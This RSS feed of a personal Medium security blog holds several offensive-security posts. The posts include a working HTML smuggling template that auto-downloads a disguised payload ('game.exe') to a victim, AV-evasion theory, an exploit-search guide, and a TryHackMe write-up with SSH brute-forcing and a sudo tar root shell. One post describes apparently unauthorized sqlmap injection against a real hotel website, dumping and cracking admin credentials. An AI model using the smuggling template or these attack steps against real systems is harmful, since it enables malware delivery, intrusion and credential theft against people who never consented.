<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ɪ • ᴅ ᴇ ᴀ ᴠ ꜱ ツ on Medium]]></title>
        <description><![CDATA[Stories by ɪ • ᴅ ᴇ ᴀ ᴠ ꜱ ツ on Medium]]></description>
        <link>https://medium.com/@ideavs?source=rss-d38b2ccd82aa------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*fZ9h6CAsG7za6VRtchprGA.png</url>
            <title>Stories by ɪ • ᴅ ᴇ ᴀ ᴠ ꜱ ツ on Medium</title>
            <link>https://medium.com/@ideavs?source=rss-d38b2ccd82aa------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 18:20:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ideavs/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTML Smuggling Code Explanation]]></title>
            <link>https://ideavs.medium.com/html-smuggling-code-explanation-e5cdf3a45d78?source=rss-d38b2ccd82aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5cdf3a45d78</guid>
            <dc:creator><![CDATA[ɪ • ᴅ ᴇ ᴀ ᴠ ꜱ ツ]]></dc:creator>
            <pubDate>Sun, 10 Sep 2023 16:16:19 GMT</pubDate>
            <atom:updated>2023-09-10T16:16:19.873Z</atom:updated>
            <content:encoded><![CDATA[<p>The code that am talking about can be found <a href="https://ideavs.medium.com/smuggling-with-html-auto-download-malware-320000238673">here</a>.</p><p>Let’s break down what each part of the code does:</p><ol><li>base64ToArrayBuffer(base64): This is a function that converts a base64-encoded string into an ArrayBuffer. It uses the window.atob function to decode the base64 string into a binary string and then creates a Uint8Array to store the binary data.</li><li>var file = &#39;&#39;: This initializes an empty string called file. In practice, you should replace this with your actual base64-encoded data.</li><li>var data = base64ToArrayBuffer(file);: It calls the base64ToArrayBuffer function with the file variable to convert the base64-encoded data into an ArrayBuffer.</li><li>var blob = new Blob([data], {type: &#39;octet/stream&#39;});: This creates a Blob object from the ArrayBuffer data. The {type: &#39;octet/stream&#39;} specifies the MIME type of the blob, which in this case is set to an octet stream.</li><li>var fileName = &#39;game.exe&#39;;: This sets the desired filename for the downloaded file.</li><li>var a = document.createElement(&#39;a&#39;);: It creates an anchor element in the HTML document.</li><li>document.body.appendChild(a);: This appends the anchor element (a) to the HTML body.</li><li>a.style = &#39;display: none&#39;;: The anchor element is hidden by setting its CSS display property to none.</li><li>var url = window.URL.createObjectURL(blob);: It generates a URL for the Blob object created earlier.</li><li>a.href = url;: This sets the href attribute of the anchor element to the generated URL.</li><li>a.download = fileName;: It sets the download attribute of the anchor element to the desired filename.</li><li>a.click();: This programmatically triggers a click event on the anchor element, which prompts the browser to download the file. (crucial!)</li><li>window.URL.revokeObjectURL(url);: After the download is initiated, this line revokes the URL to release any resources associated with it.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5cdf3a45d78" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Smuggling with HTML (auto download malware)]]></title>
            <link>https://ideavs.medium.com/smuggling-with-html-auto-download-malware-320000238673?source=rss-d38b2ccd82aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/320000238673</guid>
            <dc:creator><![CDATA[ɪ • ᴅ ᴇ ᴀ ᴠ ꜱ ツ]]></dc:creator>
            <pubDate>Sun, 10 Sep 2023 16:13:49 GMT</pubDate>
            <atom:updated>2023-09-10T16:16:55.662Z</atom:updated>
            <content:encoded><![CDATA[<p>HTML smuggling is a Stealthier Approach to Deliver Malware to the targets.</p><p>In this attack, the we craft HTML attachment that carries an encoded malicious script. When the victim opens this malicious HTML file in their web browser, the browser decodes this embedded malicious script which on execution further assembles the payload on the victim machine.</p><p>This attack uses legitimate features of HTML5 and JS to create malicious binaries. In this technique we leverage HTML5’s “download” attribute for anchor tags, as well as the creation and use of a JavaScript Blob to put together the malware on the victim machine.</p><p>The following code helps to achieve the goal</p><blockquote>&lt;html&gt;<br>&lt;body&gt;<br>&lt;script&gt;<br> function base64ToArrayBuffer(base64) {<br> var binary_string = window.atob(base64);<br> var len = binary_string.length;<br> var bytes = new Uint8Array( len );<br> for (var i = 0; i &lt; len; i++) { bytes[i] = binary_string.charCodeAt(i); <br> }<br> return bytes.buffer;<br> }<br> var file =’’ Paste your base64 here…………..”<br> var data = base64ToArrayBuffer(file);<br> var blob = new Blob([data], {type: ‘octet/stream’});<br> var fileName = ‘game.exe’;<br> <br> var a = document.createElement(‘a’);<br> document.body.appendChild(a);<br> a.style = ‘display: none’;<br> var url = window.URL.createObjectURL(blob);<br> a.href = url;<br> a.download = fileName;<br> a.click();<br> window.URL.revokeObjectURL(url);<br>&lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</blockquote><p><strong>I wrote the explanation of the above code in this blog : </strong><a href="https://ideavs.medium.com/html-smuggling-code-explanation-e5cdf3a45d78"><strong>here</strong></a></p><p>First, our Base64 code is placed into an array buffer. We’ll then place the array buffer into our Blob. Next, we’ll create a hidden “a” tag. The data from our Blob is then moved to the href reference of our “a” tag. Our Blob code in the href is given the file name of ‘game.exe’. Finally, a click action is performed to download our file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*VjzKBVOFB-K7BEs-ynbhSQ.png" /><figcaption>generating base64 outa msfvenom payload</figcaption></figure><p>Pasting the base64 into the file variable and sending the link to the victim results in downloading it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*J26-L6C_AbyIiD0Qnj4MzQ.png" /><figcaption>sample POC</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=320000238673" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Concepts for OSEP]]></title>
            <link>https://ideavs.medium.com/windows-concepts-for-osep-5fd6f4247fe7?source=rss-d38b2ccd82aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/5fd6f4247fe7</guid>
            <dc:creator><![CDATA[ɪ • ᴅ ᴇ ᴀ ᴠ ꜱ ツ]]></dc:creator>
            <pubDate>Sun, 10 Sep 2023 15:52:37 GMT</pubDate>
            <atom:updated>2023-09-10T15:52:37.305Z</atom:updated>
            <content:encoded><![CDATA[<h3>Windows On Windows</h3><p>Microsoft introduced the concept of Windows On Windows 64-bit (WOW64) which allows a 64-bit version of Windows to execute 32-bit applications with almost no loss of efficiency.</p><p><em>WOW64 </em>utilizes four 64-bit libraries (<em>`Ntdll.dll, Wow64.dll, Wow64Win.dll and Wow64Cpu.dll`</em>) to emulate the execution of 32-bit code and perform translations between the application and the kernel. On 32-bit versions of Windows, most native Windows applications and libraries are stored in `<em>C:\Windows\System32</em>`. On 64-bit versions of Windows, 64-bit native programs and DLLs are stored in `<em>C:\Windows\System32</em>` and 32-bit versions are stored in `<em>C:\Windows\SysWOW64</em>`.</p><h4>ntdll.dll — <a href="https://www.dll-files.com/ntdll.dll.html#google_vignette">https://www.dll-files.com/ntdll.dll.html#</a></h4><p>This file is required by Windows, and deleting the file would make Windows inoperable.</p><p>The ntdll.dll file is one of the most important file in the “Microsoft Windows NT” OS family. Ntdll.dll is mostly concerned with system tasks and it includes a number of kernel-mode functions which enables the “Windows Application Programming Interface (API)”. The ntdll.dll is also responsible for messages, timing, threading and synchronization in the operating system.</p><h4>wow64 — <a href="https://www.dll-files.com/wow64.dll.html">https://www.dll-files.com/wow64.dll.html</a></h4><p>The WOW64 emulator runs in user mode. It provides an interface between the 32-bit version of Ntdll.dll and the kernel of the processor, and it intercepts kernel calls.</p><p>For More on implementation : <a href="https://learn.microsoft.com/en-us/windows/win32/winprog64/wow64-implementation-details">here</a></p><h3>Win32 APIs</h3><p>Win32 API, offer developers pre-built functionality.<br><em>GetUserNameA </em>API exported by <em>Advapi32.dll </em>which retrieves the name of the user executing the function.</p><blockquote>BOOL GetUserNameA(<br> LPSTR lpBuffer,<br> LPDWORD pcbBuffer<br>);</blockquote><p>The API requires two arguments -<br>The first is an output buffer of type <em>LPSTR </em>which is the Microsoft term for a character array. The second argument is a pointer to a <em>DWORD </em>which is a 32-bit unsigned integer. The return value from the API is a boolean.where the suffix “A” indicates the ASCII version of the API.</p><h4>LPSTR -</h4><p>The LPSTR type and its alias PSTR specify a pointer to an array of 8-bit characters, which MAY be terminated by a null character. <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/3f6cc0e2-1303-4088-a26b-fb9582f29197">more</a></p><h4>DWORD -</h4><p>A dword, which is short for “double word,” is <strong>a data type definition that is specific to Microsoft Windows</strong>. <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/262627d8-3418-4627-9218-4ffe110850b2">more</a></p><h3>Windows Registry</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uWA58A1OxgiWgaa3Q3PTZw.png" /><figcaption>windows registry</figcaption></figure><p>The Windows Registry is a hierarchical database that stores low-level settings for the Microsoft Windows operating system and for applications that opt to use the registry. The kernel, device drivers, services, Security Accounts Manager, and user interfaces can all use the registry.</p><p>Many programming languages support the concept of local and global variables, where local variables are limited in scope and global variables are usable anywhere in the code. An operating system needs global variables in much the same manner. Windows uses the registry to store <br>many of these.</p><p>Information related to the current user is stored in the <em>HKEY_CURRENT_USER (</em><a href="https://www.lifewire.com/hkey-current-user-2625901"><em>HKCU</em></a><em>) </em>hive, while information related to the operating system itself is stored in the <em>HKEY_LOCAL_MACHINE (</em><a href="https://www.bleepingcomputer.com/glossary/hkey-local-machine/"><em>HKLM</em></a><em>) </em>hive.</p><p>Since a 64-bit version of Windows can execute 32-bit applications each registry hive contains a duplicate section called `<em>Wow6432Node</em>` which stores the appropriate 32-bit settings.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5fd6f4247fe7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Searching for exploits]]></title>
            <link>https://ideavs.medium.com/searching-for-exploits-3a015828e937?source=rss-d38b2ccd82aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a015828e937</guid>
            <dc:creator><![CDATA[ɪ • ᴅ ᴇ ᴀ ᴠ ꜱ ツ]]></dc:creator>
            <pubDate>Sun, 10 Sep 2023 14:55:19 GMT</pubDate>
            <atom:updated>2023-09-10T14:58:41.870Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Online Exploit Resources</blockquote><p><strong>Exploit-db</strong></p><p><a href="https://www.exploit-db.com/">OffSec&#39;s Exploit Database Archive</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZgWh_2rrp-JlX1k_L9AvBA.png" /></figure><p><strong>Packet Storm</strong></p><p><a href="https://packetstormsecurity.com/">https://packetstormsecurity.com/</a></p><p>Packet Storm was established in 1998. It provides up-to-date information on security news and vulnerabilities as well as recently published tools by security vendors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u2dZJutJmJ7DcqeMbv9YNQ.png" /></figure><p><strong>Google Search Operators (Google Dorks)</strong></p><p>For Example, searching for <br>“Microsoft Edge site:exploit-db.com” will provide us the exploits of Edge available in exploit-db</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qAi33x1BLSYIN6NU4N5dPg.png" /></figure><blockquote>Offline Exploit Resources</blockquote><p><strong>SearchSploit</strong><br>`<em>sudo apt update &amp;&amp; sudo apt install exploitdb</em>`<br>The above command updates the local copy of the Exploit Database archive under <em>/usr/share/exploitdb/</em>. This directory is split in two major sections, exploits and shellcodes.</p><p>The exploits directory is further divided into separate directories for each operating system, architecture, and scripting language</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*6ig7MrOgsQVQnUGnSLto_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*dVU_fgIqpFK2ewsSf21k9Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nmptP-RTW4tI3fLjzzMyrQ.png" /><figcaption>Searching for eternalblue exploit using searchsploit</figcaption></figure><p><strong>Nmap NSE Scripts</strong><br><em>cd /usr/share/nmap/scripts</em><br>We can list information on specific NSE scripts by running nmap with the --script-help option<br>followed by the script filename<br><em>nmap --script-help=clamav-exec.nse</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*gCM8UiHS1NKIYg5YUna08w.png" /><figcaption>Nmap Script Engine (NSE)</figcaption></figure><p><strong>— Other —</strong></p><p>Beef-Xss also sometimes comes handy in searching for exploits</p><p><a href="https://beefproject.com/">https://beefproject.com/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*58tnMs7oyuwjtdr_ZJJXHw.png" /><figcaption>Exploits in Beef-xss Tool</figcaption></figure><p>Metasploit also has search functionality which shows results based on our search</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*zIizrK9Rw3jVrZSjrMu6LA.png" /><figcaption>Using metasploit to search for exploits</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a015828e937" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Anti-Virus Evasion — Theory]]></title>
            <link>https://ideavs.medium.com/anti-virus-evasion-theory-1668f9e3b8be?source=rss-d38b2ccd82aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/1668f9e3b8be</guid>
            <dc:creator><![CDATA[ɪ • ᴅ ᴇ ᴀ ᴠ ꜱ ツ]]></dc:creator>
            <pubDate>Sun, 10 Sep 2023 14:23:22 GMT</pubDate>
            <atom:updated>2023-09-10T14:23:22.689Z</atom:updated>
            <content:encoded><![CDATA[<h3>Anti-Virus Evasion — Theory</h3><blockquote>On-Disk Evasion</blockquote><p><strong>Packers</strong><br>Modern on-disk malware obfuscation can take many forms. One of the earliest ways of avoiding detection involved the use of packers. Given the high cost of disk space and slow network speeds during the early days of the Internet, packers were originally designed to simply reduce the size of an executable. Unlike modern “zip” compression techniques, packers generate an executable that is not only smaller, but is also functionally equivalent with a completely new binary structure. The resultant file has a new signature and as a result, can effectively bypass older and more simplistic AV scanners. Even though some modern malware uses a variation of this technique, the use of UPX and other popular packers alone is not sufficient for evasion of modern AV scanners</p><p><strong>Obfuscators</strong><br>Obfuscators reorganize and mutate code in a way that makes it more difficult to reverse-engineer. This includes replacing instructions with semantically equivalent ones, inserting irrelevant instructions or “dead code”, splitting or reordering functions, and so on. Although primarily used by software developers to protect their intellectual property, this technique is also marginally effective against signature-based AV detection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*TuUWkHS5WnlhdDy4jFIcZg.jpeg" /></figure><p><strong>Crypters</strong><br>“Crypter” software cryptographically alters executable code, adding a decrypting stub that restores the original code upon execution. This decryption happens in-memory, leaving only the encrypted <br>code on-disk. Encryption has become foundational in modern malware as one of the most effective AV evasion techniques.</p><blockquote>In-Memory Evasion</blockquote><p><strong>Remote Process Memory Injection</strong><br>This technique attempts to inject the payload into another valid PE that is not malicious. The most common method of doing this is by leveraging a set of Windows APIs.First, we would use the `<em>OpenProcess</em>` function to obtain a valid `<em>HANDLE</em>` to a target process that we have permissions to access. After obtaining the `<em>HANDLE</em>`, we would allocate memory in the context of that process by calling a Windows API such as `<em>VirtualAllocEx</em>`.Once the memory has been allocated in the remote process, we would copy the malicious payload to the newly allocated memory using `<em>WriteProcessMemory</em>`.After the payload has been successfully copied, it is usually executed in <br>memory in a separate thread using the `<em>CreateRemoteThread</em>` API.</p><p><strong>Reflective DLL Injection</strong><br>Unlike regular DLL injection, which implies loading a malicious <em>DLL </em>from disk using the `<em>LoadLibrary</em>` API, this technique attempts to load a <em>DLL</em> stored by the attacker in the process memory.<br>The main challenge of implementing this technique is that `<em>LoadLibrary</em>` does not support loading a DLL from memory. Furthermore, the Windows operating system does not expose any APIs that can handle this either. Attackers who choose to use this technique must write their own version of <br>the API that does not rely on a disk-based DLL</p><p><strong>Process Hollowing</strong><br>When using process hollowing to bypass antivirus software, attackers first launch a non-malicious process in a suspended state. Once launched, the image of the process is removed from memory and replaced with a malicious executable image. Finally, the process is then resumed and malicious code is executed instead of the legitimate process.</p><p><strong>Inline hooking</strong><br>As the name suggests, this technique involves modifying memory and introducing a hook (instructions that redirect the code execution) into a function to point the execution flow to our malicious code. Upon executing our malicious code, the flow will return back to the modified function and resume execution, appearing as if only the original code had executed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1668f9e3b8be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Client-Side Attacks #!]]></title>
            <link>https://ideavs.medium.com/client-side-attacks-a6478ab6153f?source=rss-d38b2ccd82aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/a6478ab6153f</guid>
            <dc:creator><![CDATA[ɪ • ᴅ ᴇ ᴀ ᴠ ꜱ ツ]]></dc:creator>
            <pubDate>Sun, 10 Sep 2023 14:13:41 GMT</pubDate>
            <atom:updated>2023-09-10T15:34:17.869Z</atom:updated>
            <content:encoded><![CDATA[<p>I know this is actually messed up, i will update this again when i find time :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*9VrmADali9pn9eaIMiv9Zg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*bbgrIqyLsztHoCG6ucG9Wg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*N6nk1eA795tJOV5SvI4yiQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*mSaUbaVzMlNKtQGIUzZboA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*-_Rk05WKj5JAqOJ9ab7RQw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*ZjSDiYL_VGcMTlEZfLkgkw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*3Z4BhBmd7UQmm4CTxc1Xlg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*WdkoLpahAaq3kKSE4fqyng.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*kDlwwxbiKXKKRK6LvanVIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*pluCyjr05NbRqvS8frQcqg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a6478ab6153f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TRYHACKME-BOUNTYHACKER]]></title>
            <link>https://ideavs.medium.com/tryhackme-bountyhacker-9c354c3d9393?source=rss-d38b2ccd82aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c354c3d9393</guid>
            <dc:creator><![CDATA[ɪ • ᴅ ᴇ ᴀ ᴠ ꜱ ツ]]></dc:creator>
            <pubDate>Wed, 21 Jul 2021 14:01:15 GMT</pubDate>
            <atom:updated>2021-07-21T14:07:48.305Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gonpkDOZSz9FWnri.jpeg" /></figure><p>Lets start with nmap scan…</p><blockquote>nmap -A 10.10.52.5</blockquote><p>Result :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*K8_5IDQTo5rttr0el2lKbA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*gcDJS5QnqXvwqYantJDdSA.png" /></figure><p>FTP anonymous login allowed , port 22 (ssh) is open , target is running a web server on port 80…</p><p>Found a Open Port on 80, Lets check that…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*mjwrIK0rS35B4RXSrT-F2g.png" /></figure><p>HMmm….Lets connect to ftp (through anonymous login)</p><p>command : ftp 10.10.52.5</p><blockquote>ftp&gt; ls</blockquote><blockquote>-rw-rw-r — 1 ftp ftp 418 Jun 07 2020 locks.txt</blockquote><blockquote>-rw-rw-r — 1 ftp ftp 68 Jun 07 2020 task.txt</blockquote><blockquote>226 Directory send OK.</blockquote><p>Lets download the two files to our machine…</p><blockquote>ftp&gt; get locks.txt</blockquote><p>— — — — — -LOOKS LIKE locks.txt IS AN PASSOWRD LIST — — — — — —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ghR-aSp9Hq4nNpxeHHVdcg.png" /></figure><p>Lets also get task.txt</p><blockquote>ftp&gt; get task.txt</blockquote><blockquote>root@ip-10–10–65–156:~# cat task.txt</blockquote><blockquote>1.) Protect Vicious.</blockquote><blockquote>2.) Plan for Red Eye pickup on the moo — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</blockquote><p>-lin</p><blockquote>Q- Who wrote the task list?</blockquote><blockquote>ANS- lin</blockquote><blockquote>Lets use hydra to bruteforce ssh with username “lin” and password with locks.txt file</blockquote><blockquote>Command : hydra -l lin -P locks.txt 10.10.52.5 -t 4 ssh</blockquote><blockquote>Result :</blockquote><blockquote>[DATA] attacking ssh://10.10.52.5:22/</blockquote><blockquote>[22][ssh] host: 10.10.52.5 login: <strong>lin </strong>password: <strong>RedDr4gonSynd1cat3</strong></blockquote><blockquote>1 of 1 target successfully completed, 1 valid password found</blockquote><blockquote>Username : lin , Password : RedDr4gonSynd1cat3</blockquote><blockquote>Lets login to ssh with the credentials ..</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*YKeZtneqPHR7PC97zjzA6A.png" /></figure><p>— — USER.TXT — —</p><blockquote>lin@bountyhacker:~/Desktop$ ls</blockquote><blockquote>user.txt</blockquote><blockquote>lin@bountyhacker:~/Desktop$ cat user.txt</blockquote><h4>THM{CR1M3_SyNd1C4T3}</h4><p>— — ROOT.TXT — —</p><p>Lets try to escalate our privilages</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*_Cm8gudF8m_tg6gEgx5rPw.png" /></figure><p>Lets search for tar on gtfobins</p><blockquote><strong>sudo tar -cf /dev/null /dev/null — checkpoint=1 — checkpoint-action=exec=/bin/sh</strong></blockquote><h4>On Trying This…</h4><blockquote>lin@bountyhacker:~/Desktop$ sudo tar -cf /dev/null /dev/null — checkpoint=1 — checkpoint-action=exec=/bin/sh</blockquote><blockquote>tar: Removing leading `/’ from member names</blockquote><blockquote># whoami</blockquote><blockquote>root</blockquote><blockquote># cd /root</blockquote><blockquote># ls</blockquote><blockquote>root.txt</blockquote><blockquote># cat root.txt</blockquote><h3>THM{80UN7Y_h4cK3r}</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*jdOJztzP9idk4_wrDgW9Aw.png" /></figure><p>Finally……….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*apRgjyqsAWNAcgY1kO5DyQ.png" /></figure><p>See you on next writeup …..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c354c3d9393" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HOW I GOT INTO A HOTEL WEBSITE’S DATABASE]]></title>
            <link>https://ideavs.medium.com/how-i-hacked-into-a-hotel-websites-database-33d933223a6f?source=rss-d38b2ccd82aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/33d933223a6f</guid>
            <category><![CDATA[website]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[sqlmap]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[ɪ • ᴅ ᴇ ᴀ ᴠ ꜱ ツ]]></dc:creator>
            <pubDate>Thu, 27 May 2021 16:33:36 GMT</pubDate>
            <atom:updated>2023-11-10T04:37:05.667Z</atom:updated>
            <content:encoded><![CDATA[<h3>SIMPLE SQL INJECTION</h3><blockquote>FOR SECURITY REASONS I WONT REVEAL THE TARGET URL, THOUGH U CAN FIND IF U LOOK CORRECTLY</blockquote><p><em>→ sqlmap.py -u </em><a href="http://www.target.com/room-detail.php?id=1"><em>http://www.TARGET.com/room-detail.php?id=1</em></a><em> — tables</em> (I dumped the tables first)</p><blockquote>GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] n</blockquote><blockquote>Type: time-based blind</blockquote><blockquote>Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)</blockquote><blockquote>Payload: id=1 AND (SELECT 2798 FROM (SELECT(SLEEP(5)))Fihd)</blockquote><blockquote>Type: UNION query</blockquote><blockquote>Title: Generic UNION query (NULL) — 13 columns</blockquote><blockquote>Payload: id=-4252 UNION ALL SELECT NULL,NULL,CONCAT(0x71707a7671,0x75625a4445684c655a494c53796375466c66667842657a466a696d487046616a62687a4678506167,0x717a787871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL — -</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*6WVyELdzoUBWsyLERw6fqA.png" /></figure><p>[*] ending @ 20:12:08 /2021–05–27/</p><h3>NOW I GOT THE TABLES AND “admin” IS INTERESTING</h3><p><em>→ sqlmap.py -u </em><a href="http://www.target.com/room-detail.php?id=1"><em>http://www.TARGET.com/room-detail.php?id=1</em></a><em> -T admin — column</em></p><blockquote>Type: UNION query</blockquote><blockquote>Title: Generic UNION query (NULL) — 13 columns</blockquote><blockquote>Payload: id=-4252 UNION ALL SELECT NULL,NULL,CONCAT(0x71707a7671,0x75625a4445684c655a494c53796375466c66667842657a466a696d487046616a62687a4678506167,0x717a787871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL — -</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QfodFufgcnS9OdxKJRW_0w.png" /></figure><h3>THE USERNAME AND THE PASSWORD COLUMN ARE INTRESTING, LETS DUMP THEM</h3><p>→ <em>sqlmap.py -u </em><a href="http://www.target.com/room-detail.php?id=1"><em>http://www.TARGET.com/room-detail.php?id=1</em></a><em> -T admin -C username — dump</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*pKJq6ot73Jyf85l-iBi05g.png" /></figure><h3>NOW I GOT USERNAMES , SO LETS DUMP THE PASSWORDS OF THE USERS</h3><p><em>→ sqlmap.py -u </em><a href="http://www.target.com/room-detail.php?id=1"><em>http://www.TARGET.com/room-detail.php?id=1</em></a><em> -T admin -C password — dump</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*Q5FhrbUR5-IqOHbLIqCWGA.png" /></figure><p>BY CRACKING THE HASH I GOT THE PASSWORDS OF THE USERS AND GUESS WHAT !!</p><p>[+] Access Granted!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33d933223a6f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>